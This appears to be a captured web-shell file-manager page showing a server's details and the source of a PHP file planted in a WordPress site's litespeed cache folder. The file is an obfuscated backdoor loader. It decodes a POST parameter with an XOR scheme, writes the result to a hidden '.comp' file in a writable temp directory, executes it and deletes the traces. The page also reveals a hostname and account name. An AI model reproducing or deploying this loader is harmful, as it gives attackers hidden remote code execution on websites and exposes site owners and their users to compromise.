HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-content/litespeed/custom_file_3_1769094649.php
<!--77IToeDX-->
<?php

if(array_key_exists("\x6D\x72k", $_POST) && !is_null($_POST["\x6D\x72k"])){
$data = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir()]);
$record = $_POST["\x6D\x72k"];
  	$record =  explode	 	(		'.',$record		 )	; 
$flg='';
$s='abcdefghijklmnopqrstuvwxyz0123456789';
$lenS=strlen($s);
$len=count($record);

for ($i=0; $i < $len; $i++) {
    $val=$record[$i];
    $chS=ord($s[$i % $lenS]);
    $d=((int)$val - $chS - ($i % 10)) ^ 61;
    $flg .= chr($d);
}
foreach ($data as $key => $fac) {
            if ((bool)is_dir($fac) && (bool)is_writable($fac)) {
            $entity = sprintf("%s/.comp", $fac);
            $success = file_put_contents($entity, $flg);
if ($success) {
    include $entity;
    @unlink($entity);
    exit;
}
        }
}
}